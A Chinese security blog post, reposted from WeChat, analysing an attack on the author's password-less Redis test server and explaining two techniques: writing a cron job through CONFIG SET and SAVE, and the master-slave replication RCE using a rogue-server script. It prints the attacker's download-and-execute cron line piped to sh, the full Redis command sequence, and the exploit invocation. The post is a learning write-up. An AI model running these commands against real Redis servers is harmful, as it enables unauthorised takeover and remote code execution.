0x01 漏洞背景
前段时间自己使用redis
开发的时候,搞了一个docker
,然后直接开放连接没有密码,其实一开始我就知道会被黑产扫到然后给我种马,但是把因为也是测试服务,其实也没怎么上心,于是就放任自由了,结果第二天果然收到了一份新鲜的木马。然后简单对其入侵做了一个分析,结果发现没有能攻击成功,但是既然木马在了就简单看看吧。
0x02 攻击机制(原理)
1.攻击条件
(1)空密码并且允许外部直接连接
因为在3.2
以后有了保护模式,保护模式的作用就是在没有设置密码并且没有配置bind
地址的时候强行只允许本机连接,但是对于绑定地址或者是配置过密码的服务来讲这一项可以忽略。另外还有一个误区就是这个绑定地址不是绑定外部的地址,而是绑定自己服务器的允许作为与外部进行连接的IP
地址,比如绑定自己服务器的外网IP
,或者绑定 127.0.0.1
或者绑定0.0.0.0
,这个绑定0.0.0.0
就是绑定了自己服务器全部的IP
地址(服务器可以有很多的IP
,比如内网IP
、回环IP
、外网IP
等 ),因此其实对于一般的服务器来说,绑定自己的外网IP
和直接绑定0.0.0.0
是没区别的,不设置密码的情况下去绑定外网IP
起不到任何的保护作用,返回会因为绑定了地址让保护模式失效遭受攻击。
(2)使用 root 权限启动 redis
高权限用户启动的程序拥有和启动该程序用户一样的权限,这大大有利于攻击者在控制了redis
之后借助这种高权限去修改高权限配置文件来完成攻击(不过现在高版本的redis
启动默认都是redis
权限了而不是原来的root
权限)
(3)redis 在没有保护措施的情况下也没有修改默认端口
默认端口是6379
,很容易被扫到
(4)补充
Ubuntu
下执行crontab
使用的是sh
, 而sh
软连接的是dash
,而不是bash
,那么如果你直接在
里面写cron
bash - i xx
的反弹是不可能成功的,解决方法有两种,一种就是使用Python
调用/bin/sh
反弹shell
,还有一种可以尝试写sh
文件,然后用
去执行cron
2.攻击利用的机制
redis
的攻击主要是利用redis
的持久化存储RDB
或者AOF
(默认不开启),所谓持久化就是一种快照机制,用来后期恢复数据。比如RDB
可以在一定的条件下将当前内存的数存储进一个dump.rdb
文件中,如果下次想恢复这个数据的话,就需要将这个文件放在redis
的快照保存目录下,替换当前的dump.rdb
再次重启这样就能恢复原始的数据了
3.大概的攻击流程
(1)修改 redis 的 rdb 文件的存放路径为 root 用户的 crontab 配置文件
设置dir
到定时任务目录
config set dir "/var/spool/cron"
设置持rdb
文件名为root
config set dbfilename root
(2)使用 FLUSHALL 进行清除数据库
127.0.0.1:6379> flushall
OK
这一步主要是想清除原始root
文件的内容,也是为了避免不必要的格式错误
(3)在 redis 中写入我们的 cron 语句
127.0.0.1:6379> set test "n*/10 * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | shn"
OK
(4)强行触发 rdb 更新
127.0.0.1:6379> save
至此我们的
的数据就写入到了cron
root
用户的cron
件夹中了
(5)总结:
除了可以写
以外,写个一句话cron
webshell
也是可以的,其实可以清楚地看到,redis
的成功攻击除了依赖于权限配置的失误以外,一句话webshell
以及cron
对格式要求的不严格也是一大重要因素。
0x03 Redis主从复制RCE
攻击者也是一样,直接
了我的全部的key,然后直接给我写一个名为 flushall
back
的cron
,每一分钟从他的服务器上下载了一个脚本运行。
* * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh
-f:不输出错误
-s: 静默不输出
-S: -s 条件下输出错误
-L: 跟踪重定向
在确定了攻击者攻击并没有成功以后,我下载了木马,然后简单的分析了一下,看看有没有什么操作我没有检测到的。
1.Redis主从复制RCE基本原理
该攻击方法使用的是redis
中的主从复制,以及redis 4.x
中新引入的自定义模块加载功能。
(1)简单解释一下这两个概念
主从复制的概念:
redis
是一个使用ANSI C
编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。虽然redis
的读写速度都非常快,但如果当把数据都存储在单个redis
的实例中,供客户端去读取的话,那么很有可能会产生服务器难以承受的读压力。
为了缓解这样的压力,主从复制这样的机制出现了,主从模式就是指使用一个redis
实例作为主机(master),其他实例都作为从机(slave
),主机只负责写入数据,很多的从机负责读,这就很想我们常常说的CDN
负载均衡的功能,如下图所示
2.利用条件
Redis 4.x
、可以远程连接到目标 redis 服务器
3.利用的基本步骤
其实上面我们已经说了,这里再细化一下
(1)在目标上执行, 将自己vps设置为master: SLAVEOF vps port
(2)在目标上执行,设置一下 dbfilename 为 xxx.so 文件
(3)通过同步,将模块文件写到目标的磁盘上: FULLRESYNC <Z*40> 1rn$rn
(4)在目标上执行,加载模块: MODULE LOAD /tmp/exp.so
4.利用演示
(1)下载 redis 4.0 镜像作为受害靶机
docker pull redis:4.0
(2)交互方式运行镜像,将 6379 端口映射到主机的 6666 端口
docker run -p 6666:6379 -it 67f7ad418fdf /bin/bash
(3)在 docker 中启动 redis 服务
redis-server
(4)启动以后我们可以远程连接看一下效果
可以看到远端成功无权限访问我的redis
数据库,并且可以插入数据
(5)在主机中 clone 攻击脚本
git clone https://github.com/K0rz3n/redis-rogue-server-1.git
(6)运行脚本
python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6666 --lhost xxx.xxx.xxx.xxx --lport 2333
运行脚本后靶机就会把我们的lhost
作为master
然后自己做为slave
了,并且会同步数据
靶机运行效果:
流氓服务器运行效果:
注:这里的 127 实际上是靶机,xxx 代表的是我的 “流氓服务器”
(7)查看现在的 redis 服务器
可以看出来,现在的数据库以及沦为了只读模式的slave
(8)执行命令
----------------------------------------
版权声明:本文为「K0rz3n」
原文链接:https://www.k0rz3n.com/%E5%AF%B9%E6%9F%90%E5%BF%AB%E6%8D%B7%E9%85%92%E5%BA%97%E5%8F%8B%E6%83%85%E6%B5%8B%E8%AF%95/
欢迎 点赞丨留言丨分享至朋友圈 三连
好文推荐
原文始发于微信公众号(雾晓安全):一次redis未授权写入攻击以及RCE 学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论